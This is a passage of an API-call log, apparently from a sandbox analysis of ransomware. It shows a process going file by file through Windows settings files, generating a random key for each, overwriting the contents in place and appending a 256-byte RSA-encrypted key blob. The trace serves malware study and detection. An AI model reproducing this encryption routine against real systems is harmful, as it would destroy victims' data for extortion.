[0196.739] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.739] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.740] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.740] CloseHandle (hObject=0x1c24) returned 1 [0196.741] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.741] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.742] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PCSystem_PenAndTouchStatus.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.742] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f0cc8, nNumberOfBytesToRead=0x4ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0cc8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0196.743] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.743] WriteFile (in: hFile=0x1c24, lpBuffer=0x30f20e8*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f20e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0196.743] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ee [0196.743] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.744] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.744] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.744] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.744] CloseHandle (hObject=0x1c24) returned 1 [0196.746] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.746] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.746] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PCSystem_LeaveOrganization.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.746] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f07c0, nNumberOfBytesToRead=0x4ee, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f07c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0196.747] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.748] WriteFile (in: hFile=0x1c24, lpBuffer=0x30f3000*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ee, lpOverlapped=0x0) returned 1 [0196.748] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ee [0196.748] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.748] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.748] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.749] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.749] CloseHandle (hObject=0x1c24) returned 1 [0196.751] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.751] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.751] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PCSystem_JoinDomain.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.751] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4cb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4cb, lpOverlapped=0x0) returned 1 [0196.759] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1227, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.759] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4cb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4cb, lpOverlapped=0x0) returned 1 [0196.760] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4cb [0196.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.761] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.761] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.762] CloseHandle (hObject=0x1c24) returned 1 [0196.764] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.764] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.764] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PCSystem_JoinCloudDomain.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.765] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4e4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e4, lpOverlapped=0x0) returned 1 [0196.773] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.773] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e4, lpOverlapped=0x0) returned 1 [0196.774] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e4 [0196.774] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.774] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.774] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.775] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.775] CloseHandle (hObject=0x1c24) returned 1 [0196.778] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.778] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.779] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PCSystem_InstalledRamStatus.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.779] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x4f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x4f3, lpOverlapped=0x0) returned 1 [0196.780] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.780] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4f3, lpOverlapped=0x0) returned 1 [0196.781] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4f3 [0196.781] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.781] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.781] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.782] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.782] CloseHandle (hObject=0x1c24) returned 1 [0196.784] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.784] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.784] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PCSystem_GetPCName.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.784] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4c6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4c6, lpOverlapped=0x0) returned 1 [0196.786] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1222, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.786] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4c6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4c6, lpOverlapped=0x0) returned 1 [0196.787] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4c6 [0196.787] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.787] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.787] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.788] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.788] CloseHandle (hObject=0x1c24) returned 1 [0196.789] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.789] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.789] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_PCSystem_ActivateWindowsLicense.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.790] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x507, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x507, lpOverlapped=0x0) returned 1 [0196.791] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1287, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.791] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x507, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x507, lpOverlapped=0x0) returned 1 [0196.792] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x507 [0196.792] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.792] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.792] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.793] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.793] CloseHandle (hObject=0x1c24) returned 1 [0196.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0196.794] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Notifications_SystemIcons.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.795] ReadFile (in: hFile=0x1c24, lpBuffer=0x30ef8a8, nNumberOfBytesToRead=0x4eb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef8a8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4eb, lpOverlapped=0x0) returned 1 [0196.800] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1259, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.800] WriteFile (in: hFile=0x1c24, lpBuffer=0x30f0cc8*, nNumberOfBytesToWrite=0x4eb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0cc8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4eb, lpOverlapped=0x0) returned 1 [0196.800] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4eb [0196.801] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.801] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.801] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.801] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.801] CloseHandle (hObject=0x1c24) returned 1 [0196.803] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0196.803] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0196.803] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Notifications_SoftLandingEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.804] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x516, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x516, lpOverlapped=0x0) returned 1 [0196.824] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1302, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.824] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x516, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x516, lpOverlapped=0x0) returned 1 [0196.824] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x516 [0196.824] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.824] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.825] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.825] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.826] CloseHandle (hObject=0x1c24) returned 1 [0196.832] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0196.832] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0196.832] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Notifications_ShowAppNotifications.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0196.837] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x520, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x520, lpOverlapped=0x0) returned 1 [0196.839] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0196.839] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x520, lpOverlapped=0x0) returned 1 [0196.840] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x520 [0196.840] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0196.840] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0196.840] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0196.841] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0196.841] CloseHandle (hObject=0x1c24) returned 1 [0196.842] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0196.842] CryptGenRandom (in: hProv=0x55a150, 